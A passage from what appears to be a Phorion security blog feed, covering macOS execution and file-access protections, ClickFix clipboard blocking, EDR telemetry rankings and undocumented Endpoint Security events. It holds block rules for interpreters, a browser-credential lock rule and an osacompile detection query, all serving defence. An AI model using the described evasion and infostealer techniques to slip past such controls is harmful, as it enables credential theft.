<span class="protection-rule__value">/opt/homebrew/bin/perl*</span>
</div>
</div>
</div>
</div>
</div>
</div>
<p>The real power of these controls comes from how precisely you can scope them. Some users in your estate genuinely need <code>osascript</code>, <code>curl</code> or <code>python</code> to do their jobs. Many others do not. Without granular scoping, the populations that need those binaries force every device in the fleet to keep them available, and your protections fall back to the lowest common denominator. See <a href="#adapt-to-your-environment">Adapt to your environment</a> for how Phorion handles this.</p>
<h2 id="file-access-controls">File access controls</h2>
<p>Infostealers are the dominant macOS threat, and file access controls are one of the most effective ways to limit what they can reach. Browser cookies, developer secrets, SSH keys and credential stores get locked to the processes that legitimately touch them, and the rest of the system loses access by default. The attack surface around the data that actually matters drops sharply.</p>
<div class="breakout breakout--wide">
<p><img src="protections-browser-data.png" alt="Protections browser data"></p>
</div>
<p>In practice, a file access protection has two parts: the <strong>paths</strong> to lock down, and the <strong>exclusions</strong> that define which processes are allowed to touch them. Here&rsquo;s an example protection that covers Google Chrome&rsquo;s on-disk data, with exclusions for the browser itself and for password managers that legitimately read it.</p>
<div style="align: center">
<div class="protection-example">
<div class="protection-example__title">Protect Chrome Data</div>
<div class="protection-rules">
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Protected paths</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">path</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">/Users/%%/Library/Application Support/Google/Chrome/*</span>
</div>
</div>
</div>
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Allow Chrome and its helpers</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">source_signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.google.Chrome</span>
<span class="protection-rule__value">com.google.Chrome.helper</span>
<span class="protection-rule__value">com.google.Chrome.helper.renderer</span>
<span class="protection-rule__value">com.google.googleupdater</span>
<span class="protection-rule__value">chrome_crashpad_handler</span>
</div>
<div class="protection-rule__field">source_team_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">EQHXZ8M8AV</span>
</div>
</div>
</div>
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Allow password manager components</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">source_signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">2bua8c4s2c.com.agilebits.onepassword7-helper</span>
<span class="protection-rule__value">com.apple.passwords</span>
<span class="protection-rule__value">com.apple.passwordmanagerbrowserextensionhelper</span>
</div>
</div>
</div>
</div>
</div>
</div>
<p>Equivalent protections ship for Safari, Edge, Brave, Arc, Opera and Firefox, each with their own browser and system exclusions, so the controls work out of the box across a typical macOS estate. Every exclusion is also gated on the process having a valid, trusted code signature, so a malicious binary that spoofs a known signing ID is still blocked because its signature won&rsquo;t validate.</p>
<p>File access controls aren&rsquo;t a new idea on macOS. Google/North Pole Security&rsquo;s <a href="https://github.com/northpolesec/santa">Santa</a> and Phorion&rsquo;s own cookie lockdown mechanism have excelled in this space for years. What&rsquo;s been missing is a single tool that ties them together with the rest of your endpoint security. With Phorion Protections, file access authorization, process execution controls, and EDR telemetry live in one agent, one policy surface, and one investigation workflow.</p>
<h2 id="adapt-to-your-environment">Adapt to your environment</h2>
<p>One size rarely fits all in enterprise environments. Phorion&rsquo;s protections can be scoped to the devices and groups that need them, and tuned per rule with exclusions, so each control fits where it&rsquo;s deployed.</p>
<h3 id="scope-precisely">Scope precisely</h3>
<p>Security controls that fall back to the lowest common denominator leave gaps everywhere. If one development team needs curl or osascript, that doesn&rsquo;t mean your marketing and sales teams do too. Likewise, if your endpoint management setup requires those binaries, they don&rsquo;t have to be permitted unconditionally.</p>
<p>Phorion&rsquo;s scoping handles both cases: apply a protection to a device group, target individual devices, or take a broad rule and carve out exemptions for specific groups or devices. Legitimate usage from administrative scripts can also be allowlisted, while the same binaries stay blocked everywhere else, all without maintaining two parallel policies.</p>
<div style="align: center">
<img src="scoping.png" alt="Protection scoping" style="margin-top:-30px; width:100%;" />
</div>
<h3 id="tune-with-exclusions">Tune with exclusions</h3>
<p>Every protection is paired with the analytics you need to build and validate exclusions confidently. You can see which users and devices a rule would impact, baseline what legitimate behaviour looks like in your environment, and add exclusions where they&rsquo;re safe to enable.</p>
<div style="align: center">
<img src="exclusion.png" alt="Protection exclusions" style="margin-top:-30px; width:100%;" />
</div>
<p>Phorion&rsquo;s protections ship with default exclusions for known-good behaviour, and the analytics will flag whether a new exclusion you&rsquo;re considering is safe before you enable it.</p>
<h2 id="layered-defence">Layered defence</h2>
<p>Responsible security means acknowledging silver bullets do not exist. Motivated attackers will find ways to bypass individual controls, so the goal is to stack independent layers and drive up the cost of exploitation at every stage. Phorion approaches that across four complementary layers:</p>
<ul>
<li><strong>Prevent known malware</strong> with a best-in-class malware engine, integrated through our partnership with DoubleYou, so commodity threats never get the chance to execute in the first place.</li>
<li><strong>Reduce the attack surface</strong> with process execution controls, blocking tooling that endpoints don&rsquo;t need and process flows that should never legitimately happen.</li>
<li><strong>Cut off attack paths</strong> with file access controls. Browser cookies, secrets and credential stores are locked to the processes that legitimately touch them, even after an attacker reaches the endpoint.</li>
<li><strong>Detect what warrants human analysis</strong> with Phorion&rsquo;s EDR, so behaviour that doesn&rsquo;t justify an outright block still surfaces for review.</li>
</ul>
<p>Phorion Protections brings prevention and detection together on a single agent, so defenders move at the same pace as attackers.</p>
<p><a href="#cta">Get in touch to arrange a demo</a> and see Phorion Protections in your environment.</p>
]]></content:encoded><category>EDR</category><category>Protections</category><category>Feature Release</category><category>macOS</category><category>Endpoint Hardening</category><category>File Access Controls</category><media:content url="https://phorion.io/blog/phorion-protections/social-card.png" medium="image"/></item><item><title>Introducing Clipboard Protection: Stopping ClickFix Attacks on macOS</title><link>https://phorion.io/blog/clipboard-protection/</link><guid isPermaLink="true">https://phorion.io/blog/clipboard-protection/</guid><pubDate>Thu, 02 Apr 2026 09:00:00 +0000</pubDate><description>ClickFix-style paste attacks are one of the most effective social engineering techniques targeting macOS. Today we&amp;rsquo;re releasing Clipboard Monitoring, a fully configurable capability that detects and blocks malicious pastes in real time.</description><content:encoded><![CDATA[<p>In recent months, threat actors targeting macOS have increasingly used clipboard manipulation and social engineering to trick users into pasting malicious commands into Terminal, delivering everything from commodity infostealers to more sophisticated espionage tooling.</p>
<p>These &lsquo;pastejacking&rsquo; attacks are alarmingly effective. Unlike other vectors like backdoored software, they sidestep Gatekeeper and Notarization, and typically utilise native, code-signed Apple binaries to achieve infection.</p>
<p>Be it wrapped in the lure of some required update, a helpful script to fix a common problem, or a &ldquo;one-liner&rdquo; <a href="https://pushsecurity.com/blog/installfix">installer for popular software</a>, the attack surface is vast.</p>
<h2 id="acknowledging-the-problem">Acknowledging the problem</h2>
<p>In macOS Tahoe (26.4), Apple introduced two complementary defences against paste attacks.</p>
<p><a href="https://x.com/malwarezoo/status/2037305551911014760">Documented by Ferdous Saljooki</a>, the first is a warning built into Terminal that presents a <code>Possible malware; paste blocked</code> prompt when content is pasted from a browser. As <a href="https://x.com/malwarezoo/status/2037305562929500394">Saljooki&rsquo;s analysis</a> shows, the warning fires only when multiple conditions are all met, including that the user is not a developer and hasn&rsquo;t opened Terminal in the last 30 days. This makes it an effective safeguard for general users, but by design it won&rsquo;t trigger for developer and IT users that regularly use Terminal.</p>
<img src="apple-paste-warning.png" alt="Apple's paste warning displayed when content is copied from a browser window into a Terminal" style="max-width: 400px; display: block; margin: 0 auto;">
<p>The <a href="https://x.com/malwarezoo/status/2038662038046572630">second layer</a> runs inside the XProtect daemon. Subscribing to undocumented Endpoint Security Framework event types (as <a href="https://objective-see.org/blog/blog_0x87.html">detailed</a> by Patrick Wardle), it scans pasted content (exclusively from its own list of browsers) and checks any domains found against Safari&rsquo;s Safe Browsing Service in real time - blocking the paste with a <code>Malware Detected, Paste Blocked</code> prompt. A more substantive defence that operates regardless of user profile, though limited to domains already present in Apple&rsquo;s blocklist.</p>
<p>On the open-source front, tools like Patrick&rsquo;s <a href="https://objective-see.org/products/blockblock.html">BlockBlock</a> provide heuristics-based blocking of content pasted into terminal applications.</p>
<p><strong>These are welcome steps in the right direction.</strong></p>
<p>For security teams managing enterprise fleets, though, there are areas where additional coverage and customisation can complement these protections - content-level heuristics that don&rsquo;t depend on closed domain intelligence, coverage across paste sources and vectors, centralized telemetry, and policy-driven configurability.</p>
<p>Today we&rsquo;re releasing <strong>Clipboard Protection</strong> in beta - a new capability in the Phorion agent that detects and blocks ClickFix-style paste attacks in real time.</p>
<h2 id="a-unique-endpoint-perspective">A unique endpoint perspective</h2>
<p>Phorion&rsquo;s position on the endpoint provides a unique vantage point to build a high-fidelity, highly-configurable, clipboard monitor. At the system level, our agent can observe what no single application can:</p>
<ul>
<li><strong>Where the content came from</strong>: we track which application placed content on the clipboard, so we know whether it originated from a browser, a chat application, or an internal tool</li>
<li><strong>Where the content is going</strong>: we detect when a paste lands in a terminal emulator; the typical destination for these ClickFix attacks</li>
<li><strong>What the paste contains</strong> - we evaluate the clipboard content against configurable heuristics, only logging and taking action where suspicious patterns are detected</li>
<li><strong>How the paste happened</strong>: whether via keyboard shortcut (⌘+V), right-click or toolbar menus, or even a <a href="https://blog.delivr.to/dragfix-and-you-thought-clickfix-was-a-drag-51a496773cb4">drag-and-drop</a>, we cover every paste vector</li>
</ul>
<p>With this full context, we&rsquo;re not guessing whether a browser-initiated copy ends up in a terminal, or where a terminal paste originally came from.</p>
<p><img src="clipboard-flow.svg" alt="Diagram showing how Phorion&rsquo;s Clipboard Monitor observes the full clipboard journey: source applications (browsers, chat apps, email) flow through the Phorion Agent to destination applications (terminals), with four observation points: source app, source URL, destination, and paste vector"></p>
<h2 id="protect-users-dont-block-productivity">Protect users, don&rsquo;t block productivity</h2>
<p>Not every paste from a browser to a terminal is malicious. Developers paste legitimate commands from documentation dozens of times a day. For some, blanket blocking would grind work to a halt.</p>
<p>That&rsquo;s why Clipboard Protection supports three blocking modes, so you can match the level of protection to your organisation&rsquo;s risk appetite:</p>
<table>
<tr><th style="width: 120px;">Mode</th><th>Behaviour</th></tr>
<tr><td><strong>Audit</strong></td><td>Evaluate every paste, block nothing. Rich telemetry is emitted for every monitored paste, so you can measure your baseline and understand normal clipboard workflows before enabling enforcement</td></tr>
<tr><td><strong>Smart</strong></td><td>The sweet spot for most organisations. Only blocks pastes that match dangerous patterns (suspicious curl flags, encoded payloads, command chaining) while letting routine development pastes through without interruption</td></tr>
<tr><td><strong>Block</strong></td><td>Maximum protection. Blocks all pastes from monitored sources to protected destinations, regardless of content</td></tr>
</table>
<p>Any of these modes can be paired with an <strong>interactive prompt</strong>. Instead of silently blocking a paste, Phorion presents the user with exactly what&rsquo;s about to be pasted and where it came from. The user can choose to allow the paste and continue, or cancel it.</p>
<p>A &ldquo;Remember&rdquo; option, inspired by Patrick&rsquo;s <a href="https://objective-see.org/products/blockblock.html">BlockBlock</a> implementation (mahalo!), lets them approve a paste and suppress further prompts for that terminal session, keeping friction to a minimum for known-good workflows. If the prompt goes unanswered, it times out and blocks automatically.</p>
<p><img src="clipboard-prompt.png" alt="Phorion&rsquo;s clipboard protection prompt showing an intercepted paste into Terminal, with the source application, page URL, and clipboard content visible to the user"></p>
<p>Every decision (whether the paste was blocked silently, blocked by timeout, or explicitly allowed by the user) is logged and available to security teams. This means that even when a user approves a paste, there&rsquo;s a full audit trail of what was pasted, from where, and in what scenario.</p>
<h2 id="adapt-to-your-environment">Adapt to Your Environment</h2>
<p>Transparency is a core tenet of how we build at Phorion. This isn&rsquo;t a blackbox of signatures and hardcoded browsers and terminal apps. Every organisation is different, and Clipboard Protection is designed to reflect that.</p>
<p>Phorion gives you full control over what&rsquo;s monitored, what&rsquo;s blocked, and what&rsquo;s excluded.</p>
<p><strong>Define the sources.</strong> Choose which applications are treated as monitored sources. Browsers are the default (Chrome, Safari, Firefox, Arc, and others), but you can add Slack, Teams, Discord, or any other application that might be used to deliver a ClickFix lure.</p>
<p><strong>Define the destinations.</strong> Choose which applications are protected as paste targets. All major terminal emulators are covered by default (Terminal, iTerm, Warp, Ghostty and others), and you can customise the list as needed.</p>
<p><strong>Define what&rsquo;s suspicious.</strong> In Smart mode, configure the heuristics that determine when a paste is dangerous. Out of the box, it catches the patterns most commonly associated with ClickFix attacks, but you can add your own patterns or adjust thresholds to match your environment.</p>
<p><strong>Exclude what you trust.</strong> Build exclusions for known-safe content. If your team routinely pastes deployment commands from an internal wiki, or you&rsquo;re regularly installing dev tools with one-liner installs, exclude those by domain or by content pattern, so your users aren&rsquo;t interrupted for legitimate work.</p>
<p><strong>Handle clipboard managers gracefully.</strong> Tools like Raycast, Alfred, and Maccy are staples of the macOS workflow. When a user pastes something from a clipboard manager&rsquo;s history, Phorion still traces the content back to its <em>original</em> source. If it was copied from a suspicious website and later replayed via Raycast, we evaluate it accordingly: no gaps, no disruption to the user&rsquo;s workflow.</p>
<img src="clipboard-config.png" alt="Phorion agent settings for Clipboard Protection" style="display: block; margin: 0 auto;">
<h2 id="a-note-on-privacy">A Note on Privacy</h2>
<p>Any feature that observes clipboard content carries an inherent responsibility. A clipboard monitor that isn&rsquo;t carefully designed could in itself become a security concern, whether through misconfiguration by an overzealous admin, or simply through accidental data exposure. We&rsquo;ve built several safeguards directly into the agent to prevent this.</p>
<p><strong>Privacy blocklist.</strong> The Phorion agent ships with a built-in blocklist of privacy-sensitive applications: password managers like 1Password, Bitwarden, Apple&rsquo;s own Passwords app, and others. This applies to both to the source and destination of the paste event and ensures that these applications are never monitored.</p>
<img src="privacy-block.png" alt="Phorion agent settings showing a shield icon next to a password manager bundle ID, indicating it will be ignored by the agent to protect user privacy" style="max-width: 600px; display: block; margin: 0 auto;">
<p><strong>Secret Redaction.</strong> Clipboard content pasted into terminals can contain API keys, tokens, and credentials. The same secret-scrubbing regex engine that redacts sensitive values from Phorion&rsquo;s process telemetry is applied to clipboard snippets before they leave the device.</p>
<p><strong>Configurable snippet length.</strong> Administrators can control the length of the clipboard content snippet included in telemetry via the length setting, from a generous window for deeper analysis right down to zero, which disables content capture entirely. Phorion still hashes the clipboard content, allowing security teams to correlate common attack payloads across their fleet without ever seeing the raw text.</p>
<hr>
<p>Interested in trying it out? Clipboard Protection is available in beta now for all Phorion users.  <a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>Clipboard Protection</category><category>ClickFix</category><category>Pastejacking</category><category>Feature Release</category><media:content url="https://phorion.io/blog/clipboard-protection/social-card.png" medium="image"/></item><item><title>#1 in the EDR Telemetry Project: The Visibility Advantage</title><link>https://phorion.io/blog/edr-telemetry-project/</link><guid isPermaLink="true">https://phorion.io/blog/edr-telemetry-project/</guid><pubDate>Mon, 30 Mar 2026 00:30:00 +0000</pubDate><description>Phorion ranked #1 in the EDR Telemetry Project, scoring more than twice the points of the next closest vendor. This post breaks down our approach to visibility and the critical detection coverage it enables.</description><content:encoded><![CDATA[<p>Phorion tops the rankings of macOS EDRs in <a href="https://www.edr-telemetry.com/">The EDR Telemetry Project&rsquo;s</a> latest scoring release. With more than twice the points of the closest competitor, this blog breaks down not only how we landed in this position, but crucially why it matters that we did.</p>
<p><img src="phorion-telemetry-graph.png" alt="EDR Telemetry Project Graph"></p>
<p>The EDR Telemetry Project is an open source, community-driven project designed to evaluate detection and response telemetry across industry vendors. In March 2026, the project released its first ever macOS vendor evaluation, and the results were underwhelming for most vendors, except Phorion.</p>
<p>High telemetry scores are only meaningful if they translate into real detection capability. The rest of this post walks through a few specific areas where Phorion&rsquo;s visibility enables detections that most competing products simply cannot offer.</p>
<h2 id="visibility-that-matters">Visibility that matters</h2>
<div class="telemetry-chart" style="max-width: 720px; margin: 2rem auto; font-family: 'Inter', -apple-system, sans-serif;">
  <style>
    .telemetry-chart td.col-bar {
      vertical-align: middle;
    }
    @media (max-width: 640px) {
      .telemetry-chart .col-score-raw {
        display: none;
      }
      .telemetry-chart td,
      .telemetry-chart th {
        padding: 0.4rem 0.3rem !important;
      }
      .telemetry-chart td.col-rank,
      .telemetry-chart th.col-rank {
        width: 32px !important;
        min-width: 32px !important;
        max-width: 40px !important;
        padding: 0.4rem 0.5rem !important;
      }
    }
  </style>
  <table style="width: 100%; border-collapse: collapse; font-size: 0.9rem;">
    <thead>
      <tr style="border-bottom: 1px solid #334155; text-align: left;">
        <th class="col-rank" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; width: 30px; vertical-align: middle;">#</th>
        <th style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500;">Vendor</th>
        <th class="col-bar" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; width: 55%;"></th>
        <th class="col-score-raw" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; text-align: right; white-space: nowrap;">/ 42.7</th>
        <th style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; text-align: right;">%</th>
      </tr>
    </thead>
    <tbody>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #e5e7eb; font-weight: 600;">1</td>
        <td style="padding: 0.6rem 0.75rem; color: #0bc2f2; font-weight: 600; white-space: nowrap;">Phorion</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #0891b2; height: 20px; border-radius: 3px; width: 82%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #e5e7eb; text-align: right; font-variant-numeric: tabular-nums; font-weight: 600;">35</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; text-align: right; font-variant-numeric: tabular-nums;">82%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">2</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">Elastic</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 38.8%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">16.55</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">39%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">3</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">CrowdStrike</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 34.2%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">14.6</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">34%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">4</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">MDE</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 32.1%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.7</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">5</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">LimaCharlie</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 31.9%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.6</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">6</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">ESET Inspect</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 31.6%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.5</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">7</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">BitDefender</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 30.2%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">12.9</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">30%</td>
      </tr>
      <tr>
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">8</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">Qualys</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 19.7%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">8.4</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">20%</td>
      </tr>
    </tbody>
  </table>
</div>
<p>Phorion&rsquo;s telemetry is shaped by our own detection engineering. Where additional data improves coverage of real-world Tactics, Techniques, and Procedures (TTPs), we build it in. The result is an agent equipped with the telemetry required for reliable, out-of-the-box detection and response. Crucially, the telemetry sources we ingest are always growing, as you can see from some of our <a href="/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/">recent research</a> where we continuously track new events Apple makes available.</p>
<p>Below are just a few examples of where Phorion&rsquo;s extensive visibility can give you the edge.</p>
<h3 id="file-access-events">File Access Events</h3>
<p><img src="cookie-access.png" alt="Detection firing on cookie store access"></p>
<p>File access telemetry is one of the noisiest event categories an EDR can collect, which is exactly why most vendors avoid it entirely. Some offer a middle ground, allowing teams to monitor specific file paths, which can be useful when you know exactly what you&rsquo;re looking for. But during an incident, what if you didn&rsquo;t think about or know about a critical file? Was it accessed, or are you left guessing?</p>
<p>Phorion collects file access events across the board. This means that when an infostealer touches <code>~/Library/Keychains</code>, when a malicious VS Code extension reads SSH keys from <code>~/.ssh/</code>, or when an attacker accesses browser cookie stores, the telemetry is already there. Beyond detection, Phorion&rsquo;s cookie theft protections actively block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. With the prevalence of infostealers on macOS, file access telemetry is one of the most critical gaps in the majority of EDRs on the market.</p>
<h3 id="tcc-service-usage">TCC Service Usage</h3>
<p>Transparency, Consent, and Control (TCC) governs access to some of the most sensitive capabilities on macOS: screen recording, accessibility, input monitoring, camera and microphone usage. When a process requests or is granted one of these permissions, it represents a significant change in what that process can do. Of the vendors evaluated, only one competitor collects any TCC telemetry at all, and even then only for permission modifications. Phorion collects every instance in which a TCC-protected service is used.</p>
<p><img src="tcc-access-request.png" alt="TCC access request"></p>
<p>Phorion&rsquo;s extensive visibility into TCC events, built on the same research behind <a href="https://github.com/phoriontech/kronos">Kronos</a>, enables detection of highly sensitive permission grants. If a previously unknown binary gains accessibility access (a common prerequisite for keylogging) or screen recording permission (used by surveillance tooling), that event is captured and available for detection logic. Without TCC telemetry, these permission changes happen silently.</p>
<h3 id="file-attribute-changes">File Attribute Changes</h3>
<p>File attribute changes represent a category where the gap between Phorion and the rest of the field is particularly wide. No other evaluated vendor fully supports these events.</p>
<p>This matters because, as an industry, we have observed <a href="https://www.bleepingcomputer.com/news/security/hackers-use-macos-extended-file-attributes-to-hide-malicious-code/">threat actors in the wild manipulating file attributes</a> for defence evasion. As a result, this seemingly nondescript event type proved valuable for identifying malicious behaviour across environments. Ingesting these events proactively - before specific TTPs are publicly associated with them - means the data is already available when a new technique surfaces, rather than wishing you had it after the fact.</p>
<p>An example of how we can use extended attribute events for specific detection cases:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>event_type:SetExtAttr AND 
</span></span><span style="display:flex;"><span>source_signing_id:com.apple.osacompile AND 
</span></span><span style="display:flex;"><span>extattr:com.apple.ResourceFork
</span></span></code></pre></div><p><strong>Resource fork abuse via <code>osacompile</code>.</strong> Attackers use <code>osacompile</code> to hide compiled AppleScript inside a file&rsquo;s resource fork by writing to the <code>com.apple.ResourceFork</code> extended attribute. This is a macOS-specific evasion technique that bypasses conventional content inspection: the malicious payload lives in the resource fork rather than the data fork. Without <code>SetExtAttr</code> events, this technique is invisible to endpoint telemetry.</p>
<h2 id="dispelling-the-myth-of-performance">Dispelling the myth of performance</h2>
<p>One of the most common justifications for limited telemetry is performance. The argument is that collecting more events introduces unacceptable CPU and memory overhead, so vendors aggressively trim what they capture to keep their footprint low.</p>
<p>Phorion takes a different approach. Our agent is built natively for macOS, with deep integration into the platform. That investment enables us to collect and process event data others leave behind, without degrading the experience for end users.</p>
<p>Performance isn&rsquo;t a reason to create critical blind spots; it&rsquo;s an engineering problem. And it&rsquo;s one that Phorion continuously stays on top of by design.</p>
<p>You don&rsquo;t have to take our word for it. Phorion includes built-in performance visibility, so you can see exactly what the agent is doing on every endpoint:</p>
<p><img src="agent-performance.png" alt="Phorion performance dashboard"></p>
<p>Telemetry is the foundation of detection and response. The EDR Telemetry Project&rsquo;s first macOS evaluation confirmed what we already knew: most vendors are leaving critical data on the floor. Phorion collects it, uses it to detect real threats, and does so without compromising the endpoints it protects.</p>
<p>Interested in seeing what this visibility looks like in practice? <a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>EDR</category><category>Telemetry</category><category>macOS</category><media:content url="https://phorion.io/blog/edr-telemetry-project/social-card.png" medium="image"/></item><item><title>Reverse Engineering macOS 26.4's Undocumented Socket Bind Events</title><link>https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/</link><guid isPermaLink="true">https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/</guid><pubDate>Fri, 27 Mar 2026 19:30:00 +0000</pubDate><description>Apple&amp;rsquo;s macOS 26.4 introduced several undocumented Endpoint Security events. We reverse engineered ES_EVENT_TYPE_RESERVED_3 and _4 to reveal new socket bind visibility for security tools.</description><content:encoded><![CDATA[<p>Before diving in, go read <a href="https://objective-see.org/blog/blog_0x86.html">Patrick Wardle&rsquo;s blog post</a> on these new events. Chatting with Patrick while poking at the raw bytes ultimately led to the content in this post, so as Patrick would say, Mahalo! His post covers <code>RESERVED_5</code> and <code>RESERVED_6</code> (network connection AUTH and NOTIFY events) in detail, plus the general approach to subscribing and dumping these undocumented events. This post picks up the remaining two functional events, focusing on <code>RESERVED_3</code> and <code>RESERVED_4</code>.</p>
<h2 id="background">Background</h2>
<p>Each macOS release brings new Endpoint Security Framework (ESF) events that extend the capabilities of security tools. With macOS 26.4, Apple added seven new events, but for the first time, they arrived completely undocumented. They show up in <code>ESTypes.h</code> labeled only as <code>ES_EVENT_TYPE_RESERVED_0</code> through <code>_6</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#586e75">// The following events are available beginning in macOS 26.3
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_0, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_1, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_2, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// The following events are available beginning in macOS 26.4.0
</span></span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_3, 
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_4, 
